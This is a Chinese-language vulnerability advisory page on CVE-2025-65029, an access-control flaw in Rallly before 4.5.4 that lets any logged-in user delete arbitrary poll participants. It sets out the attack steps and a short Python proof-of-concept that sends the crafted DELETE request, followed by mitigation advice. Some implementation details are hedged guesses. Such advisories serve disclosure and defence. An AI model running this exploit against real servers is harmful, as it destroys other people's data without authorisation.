IPBUF安全漏洞报告
English
CVE-2025-65029 CVSS 8.1 高危

CVE-2025-65029 Rallly IDOR漏洞允许删除任意投票参与者

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65029
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rallly

相关标签

IDOR不安全的直接对象引用Rallly访问控制绕过高危漏洞CVE-2025-65029开源软件协作工具

漏洞概述

CVE-2025-65029是Rallly开源调度协作工具中的一个高危安全漏洞,CVSS评分8.1。该漏洞影响4.5.4之前的所有版本,属于不安全的直接对象引用(IDOR)类型。Rallly是一款用于团队调度和协作的开源工具,允许用户创建投票来协调会议时间、活动安排等。在存在漏洞的版本中,系统在删除投票参与者时仅依赖参与者ID进行授权验证,完全缺少对当前用户是否拥有该投票的所有权验证机制。这意味着任何经过身份认证的用户,即使不是特定投票的所有者或参与者,也能够通过提供任意参与者的ID来删除该参与者。更严重的是,攻击者甚至可以删除投票所有者本人,从而完全接管投票的访问控制。该漏洞严重影响了投票数据的完整性和可用性,攻击者可借此破坏正常的团队协作流程,删除关键参与者信息,导致投票功能失效。漏洞已于4.5.4版本中修复。

技术细节

Rallly的删除参与者端点在设计上存在严重的访问控制缺陷。漏洞根源在于服务端未正确实现对象级别的授权检查。当用户请求删除某个参与者时,系统仅验证了请求者是否已登录(通过认证),但并未验证请求者是否有权操作目标参与者的数据。具体来说,删除操作的授权逻辑仅基于参与者ID(participant_id),而没有验证该参与者是否属于当前用户创建的投票,或者当前用户是否有权修改该投票的参与者列表。攻击者只需要知道或猜测有效的参与者ID,即可构造删除请求。由于Rallly使用自增ID或可预测的UUID作为参与者标识符,攻击者可以通过遍历ID或利用信息泄露获取有效ID。API端点通常为DELETE /api/polls/{poll_id}/participants/{participant_id},服务端代码可能类似于:删除操作直接根据participant_id执行数据库删除语句,缺少WHERE条件限制当前用户的所有权。这种设计缺陷使得攻击者可以在不拥有任何投票的情况下,通过API调用删除任意投票中的任意参与者,包括投票创建者本人。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者注册Rallly账号并登录,获取有效的认证令牌(Bearer Token)。同时通过社工、API枚举或信息泄露获取目标投票ID和受害者参与者ID。
STEP 2
步骤2: 构造恶意请求
攻击者构造DELETE请求到端点 /api/polls/{poll_id}/participants/{participant_id},在Authorization头中携带自己的认证令牌,但使用目标投票和受害者的ID。
STEP 3
步骤3: 发送攻击请求
攻击者发送DELETE请求。服务端仅验证请求者的认证状态(是否已登录),但不验证请求者是否有权删除目标投票的参与者。
STEP 4
步骤4: 权限绕过
由于缺少对象级别的授权检查,服务端直接根据participant_id执行删除操作,将受害者从投票中移除,即使攻击者并非该投票的所有者或参与者。
STEP 5
步骤5: 造成影响
受害者失去对投票的访问权,投票数据完整性被破坏。如果删除的是投票所有者,可能导致投票完全失控,影响团队协作的可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65029 PoC - Rallly IDOR Vulnerability # Target: Rallly < 4.5.4 TARGET_URL = "http://target-server.com" ATTACKER_TOKEN = "attacker_auth_token_here" VICTIM_PARTICIPANT_ID = "victim_participant_uuid" POLL_ID = "target_poll_id" def delete_participant_idor(): """ IDOR exploit: Delete arbitrary participant without ownership verification The vulnerable endpoint only checks authentication, not authorization """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Vulnerable endpoint - no ownership check url = f"{TARGET_URL}/api/polls/{POLL_ID}/participants/{VICTIM_PARTICIPANT_ID}" response = requests.delete(url, headers=headers) if response.status_code == 200: print("[+] Successfully deleted victim participant!") print(f"[+] Deleted participant ID: {VICTIM_PARTICIPANT_ID}") elif response.status_code == 401: print("[-] Authentication failed") elif response.status_code == 404: print("[-] Participant not found") else: print(f"[-] Request failed with status: {response.status_code}") if __name__ == "__main__": print("CVE-2025-65029 IDOR PoC") print("Target: Rallly < 4.5.4") delete_participant_idor()

影响范围

Rallly < 4.5.4

防御指南

临时缓解措施
立即升级Rallly至4.5.4版本以修复IDOR漏洞。如果无法立即升级,可在反向代理层实施临时访问控制策略,限制删除操作的频率和来源IP,同时监控异常的参与者删除行为。建议管理员检查近期日志,排查是否存在未授权的参与者删除记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表